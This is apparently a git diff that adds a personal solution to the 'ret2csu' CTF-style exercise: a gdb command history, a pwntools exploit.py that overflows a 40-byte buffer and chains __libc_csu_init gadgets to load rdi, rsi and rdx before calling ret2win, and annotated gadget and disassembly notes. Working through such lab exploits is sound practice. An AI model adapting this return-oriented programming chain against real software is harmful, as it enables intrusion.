diff options
Diffstat (limited to 'x86_64/ret2csu')
| -rw-r--r-- | x86_64/ret2csu/.gdb_history | 56 | ||||
| -rwxr-xr-x | x86_64/ret2csu/exploit.py | 27 | ||||
| -rw-r--r-- | x86_64/ret2csu/gadgets | 86 |
3 files changed, 169 insertions, 0 deletions
diff --git a/x86_64/ret2csu/.gdb_history b/x86_64/ret2csu/.gdb_history new file mode 100644 index 0000000..7967103 --- /dev/null +++ b/x86_64/ret2csu/.gdb_history @@ -0,0 +1,56 @@ +continue +context +nexti +quit +continue +context +conitnue +continue +stepi +stepi +info reg rdx +stepi +info reg rbx +info reg r12 +x/x 0x4006a2 +x/i 0x4006a2 +x/i *0x4006a2 +quit +continue +continue +info reg rdi +info reg edi +quit +break *0x40069a +continue +continue +quit +continue +continue +stepi +quit +break *0x40069a +continue +nexti +stepi +info reg rdx +info reg rsi +stepi +info reg rsi +info reg rdi +info reg rdx +info reg rsi +stepi +info reg rdi +x 0x400510+0x200b0a +x/x 601020 +x/x 0x601020 +x/x 0x00400516 +quit +continue +context +continue +stepi +info reg rdi +continue +quit diff --git a/x86_64/ret2csu/exploit.py b/x86_64/ret2csu/exploit.py new file mode 100755 index 0000000..a148687 --- /dev/null +++ b/x86_64/ret2csu/exploit.py @@ -0,0 +1,27 @@ +#!/usr/bin/env python3 +from pwn import * + +prog = gdb.debug('./ret2csu', gdbscript='b *0x40069a') +payload = b'' +for c in range(40): + payload += b'a' + + +payload += p64(0x40069a) # __libc_csu_init() +payload += p64(0) +payload += p64(0) +payload += p64(0x601020) +payload += p64(0xdeadbeefdeadbeef) +payload += p64(0xcafebabecafebabe) +payload += p64(0xd00df00dd00df00d) + +payload += p64(0x400680) + + +#payload += p64(0x00000000004006a3) +#payload += p64(0xdeadbeefdeadbeef) + +payload += b"\n" + +prog.sendline(payload) +prog.interactive() diff --git a/x86_64/ret2csu/gadgets b/x86_64/ret2csu/gadgets new file mode 100644 index 0000000..87a3bb8 --- /dev/null +++ b/x86_64/ret2csu/gadgets @@ -0,0 +1,86 @@ +First three arguments: +rdi 0xdeadbeefdeadbeef +rsi 0xcafebabecafebabe +rdx 0xd00df00dd00df00d + + +weird-ass instructions: +0x0000000000000a08 : retf 0xbabe + + +ret2win@plt: 0000000000400510 + +0x00000000004006a3 : pop rdi ; ret +0x00000000004006a1 : pop rsi ; pop r15 ; ret + + + + +ret2csu: file format elf64-x86-64 + + +Disassembly of section .init: + +Disassembly of section .plt: + +Disassembly of section .text: + +0000000000400640 <__libc_csu_init>: + 400640: 41 57 push r15 + 400642: 41 56 push r14 + 400644: 49 89 d7 mov r15,rdx + 400647: 41 55 push r13 + 400649: 41 54 push r12 + 40064b: 4c 8d 25 9e 07 20 00 lea r12,[rip+0x20079e] # 600df0 <__frame_dummy_init_array_entry> + 400652: 55 push rbp + 400653: 48 8d 2d 9e 07 20 00 lea rbp,[rip+0x20079e] # 600df8 <__do_global_dtors_aux_fini_array_entry> + 40065a: 53 push rbx + 40065b: 41 89 fd mov r13d,edi + 40065e: 49 89 f6 mov r14,rsi + 400661: 4c 29 e5 sub rbp,r12 + 400664: 48 83 ec 08 sub rsp,0x8 + 400668: 48 c1 fd 03 sar rbp,0x3 + 40066c: e8 5f fe ff ff call 4004d0 <_init> + 400671: 48 85 ed test rbp,rbp + 400674: 74 20 je 400696 <__libc_csu_init+0x56> + 400676: 31 db xor ebx,ebx + 400678: 0f 1f 84 00 00 00 00 nop DWORD PTR [rax+rax*1+0x0] + 40067f: 00 + _______this shit is importaint!!!!!! +\/ + 400680: 4c 89 fa mov rdx,r15 + 400683: 4c 89 f6 mov rsi,r14 + 400686: 44 89 ef mov edi,r13d + 400689: 41 ff 14 dc call QWORD PTR [r12+rbx*8] +_________________________ + 40068d: 48 83 c3 01 add rbx,0x1 + 400691: 48 39 dd cmp rbp,rbx + 400694: 75 ea jne 400680 <__libc_csu_init+0x40> + 400696: 48 83 c4 08 add rsp,0x8 +_________________________ + 40069a: 5b pop rbx + 40069b: 5d pop rbp + 40069c: 41 5c pop r12 + 40069e: 41 5d pop r13 + 4006a0: 41 5e pop r14 + 4006a2: 41 5f pop r15 + 4006a4: c3 ret + +Disassembly of section .fini: + +calling x86: + +controlling rdx: +1: 0x00000000004006a3 + rdi : 0xdeadbeefdeadbeef + +2: 0x40069a + rbx: 0 <-- + rbp: whatever + r12: 0x601020 <-- next location. lets try to make it ret2win + r13: 0xdeadbeef <-- would be nice if we could use a 64 bit value + r14: 0xcafebabecafebabe + r15: 0xd00df00dd00df00d <-- + + +3: 0x0000000000400510 (ret2win) |